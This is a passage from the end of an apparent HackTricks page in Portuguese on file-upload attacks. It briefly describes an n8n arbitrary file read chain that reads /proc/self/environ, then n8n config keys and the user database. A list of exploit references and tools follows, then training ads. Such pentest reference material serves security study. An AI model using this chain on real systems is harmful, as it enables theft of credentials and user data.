O backend copia file.filepath, então a resposta retorna o conteúdo desse caminho. Cadeia comum: ler /proc/self/environ para descobrir $HOME, depois $HOME/.n8n/config para chaves e $HOME/.n8n/database.sqlite para identificadores de usuário.
Referências
- n8n form upload Content-Type confusion → arbitrary file read PoC
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
- NVD – CVE-2023-45878
- 0xdf – HTB: TheFrizz
- The Art of PHP: CTF‑born exploits and techniques
- CVE-2024-21546 – NVD entry
- PoC gist for LFM .php. bypass
- 0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)
- HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
- Microsoft – mklink (command reference)
- 0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


